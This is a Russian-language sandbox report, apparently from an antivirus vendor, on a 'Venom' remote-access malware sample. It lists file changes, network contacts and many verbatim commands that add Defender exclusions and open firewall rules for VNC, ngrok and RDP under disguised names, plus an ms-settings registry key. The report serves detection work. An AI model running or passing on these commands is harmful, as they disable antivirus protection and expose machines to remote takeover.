Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Classes\ms-settings\shell\open\command] '' = ''
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Venom-ngrok" dir=in action=allow program="%APPDATA%\Venom\Venom-ngrok.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\Venom-winvnc.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\rdpinstall.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\ngrok.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\winvnc.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows Folder" dir=in action=allow program="%APPDATA%\Venom\autoupdate1.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows Service" dir=in action=allow program="%APPDATA%\Venom\autoupdate2.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows Task" dir=in action=allow program="%APPDATA%\Venom\update.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows" dir=in action=allow program="%APPDATA%\Venom\venom_nkrok.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Windows System" dir=in action=allow program="%APPDATA%\venom\nkrok.exe" enable=yes
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=vnc action=allow dir=in protocol=tcp localport=5901
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=vnc action=allow dir=in protocol=tcp localport=5900
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\_mei23602\microsoft.vc90.crt.manifest
- %TEMP%\_mei23602\_ctypes.pyd
- %TEMP%\_mei23602\_hashlib.pyd
- %TEMP%\_mei23602\_socket.pyd
- %TEMP%\_mei23602\_ssl.pyd
- %TEMP%\_mei23602\build.exe.manifest
- %TEMP%\_mei23602\bz2.pyd
- %TEMP%\_mei23602\msvcm90.dll
- %TEMP%\_mei23602\msvcp90.dll
- %TEMP%\_mei23602\msvcr90.dll
- %TEMP%\_mei23602\python27.dll
- %TEMP%\_mei23602\select.pyd
- %TEMP%\_mei23602\unicodedata.pyd
- %TEMP%\dr7ow5
- %TEMP%\hnet.exexjmmnl.tmp
- %APPDATA%\mshost.exe
Удаляет следующие файлы
- %TEMP%\dr7ow5
- %TEMP%\_mei23602\build.exe.manifest
- %TEMP%\_mei23602\bz2.pyd
- %TEMP%\_mei23602\microsoft.vc90.crt.manifest
- %TEMP%\_mei23602\msvcm90.dll
- %TEMP%\_mei23602\msvcp90.dll
- %TEMP%\_mei23602\msvcr90.dll
- %TEMP%\_mei23602\python27.dll
- %TEMP%\_mei23602\select.pyd
- %TEMP%\_mei23602\unicodedata.pyd
- %TEMP%\_mei23602\_ctypes.pyd
- %TEMP%\_mei23602\_hashlib.pyd
- %TEMP%\_mei23602\_socket.pyd
- %TEMP%\_mei23602\_ssl.pyd
Перемещает следующие файлы
- %TEMP%\hnet.exexjmmnl.tmp в %TEMP%\hnet.exe
Сетевая активность
Подключается к
- 'tr##sfer.sh':443
- 'ip##pi.com':80
- 'pa###bin.com':443
- '54.##.152.114':21
- '54.##.152.114':63607
- '54.##.152.114':60306
TCP
- 'tr##sfer.sh':443
- 'pa###bin.com':443
- '54.##.152.114':21
UDP
- DNS ASK tr##sfer.sh
- DNS ASK ip##pi.com
- DNS ASK pa###bin.com
Другое
Создает и запускает на исполнение
- '%APPDATA%\mshost.exe'
- '%TEMP%\hnet.exe'
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Folder" -Direction Outbound -Program "%APPDATA%\Venom\update.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows" -Direction Inbound -Program "%APPDATA%\Venom\venom_nkrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows" -Direction Outbound -Program "%APPDATA%\Venom\venom_nkrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows System" -Direction Inbound -Program "%APPDATA%\venom\nkrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows System" -Direction Outbound -Program "%APPDATA%\venom\nkrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA% & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %TEMP%\ & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles%\RDP Wrapper & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\winvnc.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\ngrok.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\enableff.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Adduser.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomadd.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomdpr.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate1.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate2.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\update.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\VenomDWelbasiD.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\allow.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\enableff.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles(x86)%\RDP Wrapper & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b netsh advfirewall firewall add rule name=vnc action=allow dir=in protocol=tcp localport=5901 & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Folder" -Direction Inbound -Program "%APPDATA%\Venom\update.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Service" -Direction Outbound -Program "%APPDATA%\Venom\autoupdate2.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Service" -Direction Inbound -Program "%APPDATA%\Venom\autoupdate2.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows task" -Direction Outbound -Program "%APPDATA%\Venom\autoupdate1.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-ngrok" dir=in action=allow program="%APPDATA%\Venom\Venom-ngrok.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\Venom-winvnc.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\rdpinstall.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\ngrok.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\winvnc.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows Folder" dir=in action=allow program="%APPDATA%\Venom\autoupdate1.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows Service" dir=in action=allow program="%APPDATA%\Venom\autoupdate2.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows Task" dir=in action=allow program="%APPDATA%\Venom\update.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows" dir=in action=allow program="%APPDATA%\Venom\venom_nkrok.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows System" dir=in action=allow program="%APPDATA%\venom\nkrok.exe" enable=yes & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "ngrok" -Direction Inbound -Program "%APPDATA%\Venom\Venom-ngrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "ngrok" -Direction Outbound -Program "%APPDATA%\Venom\Venom-ngrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "vnc" -Direction Inbound -Program "%APPDATA%\Venom\Venom-winvnc.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "vnc" -Direction Outbound -Program "%APPDATA%\Venom\Venom-winvnc.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "rdp" -Direction Inbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "rdp" -Direction Outbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Google" -Direction Inbound -Program "%APPDATA%\Venom\ngrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Google" -Direction Outbound -Program "%APPDATA%\Venom\ngrok.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Chrome" -Direction Inbound -Program "%APPDATA%\Venom\winvnc.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Chrome" -Direction Outbound -Program "%APPDATA%\Venom\winvnc.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Update" -Direction Inbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Update" -Direction Outbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows task" -Direction Inbound -Program "%APPDATA%\Venom\autoupdate1.exe" -Action Allow & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b netsh advfirewall firewall add rule name=vnc action=allow dir=in protocol=tcp localport=5900 & exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "start /b Hnet.exe"' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "start /b Hnet.exe"
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\ngrok.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\winvnc.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\winvnc.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles%\RDP Wrapper
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles%\RDP Wrapper & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %TEMP%\
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %TEMP%\ & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA% & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows System" -Direction Outbound -Program "%APPDATA%\venom\nkrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows System" -Direction Outbound -Program "%APPDATA%\venom\nkrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows System" -Direction Inbound -Program "%APPDATA%\venom\nkrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows System" -Direction Inbound -Program "%APPDATA%\venom\nkrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows" -Direction Outbound -Program "%APPDATA%\Venom\venom_nkrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows" -Direction Outbound -Program "%APPDATA%\Venom\venom_nkrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows" -Direction Inbound -Program "%APPDATA%\Venom\venom_nkrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows" -Direction Inbound -Program "%APPDATA%\Venom\venom_nkrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\ngrok.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\enableff.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b netsh advfirewall firewall add rule name=vnc action=allow dir=in protocol=tcp localport=5901 & exit
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Adduser.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles(x86)%\RDP Wrapper
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %ProgramFiles(x86)%\RDP Wrapper & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\enableff.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\enableff.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\allow.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\allow.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\VenomDWelbasiD.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\VenomDWelbasiD.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\update.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\update.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate2.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate2.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate1.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\autoupdate1.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomdpr.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomdpr.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomadd.exe
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Venomadd.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\Adduser.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows Folder" -Direction Outbound -Program "%APPDATA%\Venom\update.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %APPDATA%\Venom\enableff.exe & exit
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Folder" -Direction Outbound -Program "%APPDATA%\Venom\update.exe" -Action Allow & exit
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "rdp" -Direction Outbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "rdp" -Direction Inbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "vnc" -Direction Outbound -Program "%APPDATA%\Venom\Venom-winvnc.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "vnc" -Direction Outbound -Program "%APPDATA%\Venom\Venom-winvnc.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "vnc" -Direction Inbound -Program "%APPDATA%\Venom\Venom-winvnc.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "vnc" -Direction Inbound -Program "%APPDATA%\Venom\Venom-winvnc.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "ngrok" -Direction Outbound -Program "%APPDATA%\Venom\Venom-ngrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "ngrok" -Direction Outbound -Program "%APPDATA%\Venom\Venom-ngrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "ngrok" -Direction Inbound -Program "%APPDATA%\Venom\Venom-ngrok.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "ngrok" -Direction Inbound -Program "%APPDATA%\Venom\Venom-ngrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows System" dir=in action=allow program="%APPDATA%\venom\nkrok.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows" dir=in action=allow program="%APPDATA%\Venom\venom_nkrok.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows Task" dir=in action=allow program="%APPDATA%\Venom\update.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows Service" dir=in action=allow program="%APPDATA%\Venom\autoupdate2.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Windows Folder" dir=in action=allow program="%APPDATA%\Venom\autoupdate1.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\winvnc.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\ngrok.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\rdpinstall.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-winvnc" dir=in action=allow program="%APPDATA%\Venom\Venom-winvnc.exe" enable=yes & exit
- '%WINDIR%\syswow64\cmd.exe' /k netsh advfirewall firewall add rule name="Venom-ngrok" dir=in action=allow program="%APPDATA%\Venom\Venom-ngrok.exe" enable=yes & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "rdp" -Direction Inbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "rdp" -Direction Outbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Folder" -Direction Inbound -Program "%APPDATA%\Venom\update.exe" -Action Allow & exit
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Google" -Direction Inbound -Program "%APPDATA%\Venom\ngrok.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows Service" -Direction Outbound -Program "%APPDATA%\Venom\autoupdate2.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Service" -Direction Outbound -Program "%APPDATA%\Venom\autoupdate2.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows Service" -Direction Inbound -Program "%APPDATA%\Venom\autoupdate2.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Service" -Direction Inbound -Program "%APPDATA%\Venom\autoupdate2.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows task" -Direction Outbound -Program "%APPDATA%\Venom\autoupdate1.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows task" -Direction Outbound -Program "%APPDATA%\Venom\autoupdate1.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows task" -Direction Inbound -Program "%APPDATA%\Venom\autoupdate1.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows task" -Direction Inbound -Program "%APPDATA%\Venom\autoupdate1.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows Update" -Direction Outbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Update" -Direction Outbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Windows Update" -Direction Inbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Windows Update" -Direction Inbound -Program "%APPDATA%\Venom\rdpinstall.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Chrome" -Direction Outbound -Program "%APPDATA%\Venom\winvnc.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Chrome" -Direction Outbound -Program "%APPDATA%\Venom\winvnc.exe" -Action Allow & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-NetFirewallRule -DisplayName "Chrome" -Direction Inbound -Program "%APPDATA%\Venom\winvnc.exe" -Action Allow
- '%WINDIR%\syswow64\cmd.exe' /k powershell New-NetFirewallRule -DisplayName "Chrome" -Direction Inbound -Program "%APPDATA%\Venom\winvnc.exe" -Action Allow & exit
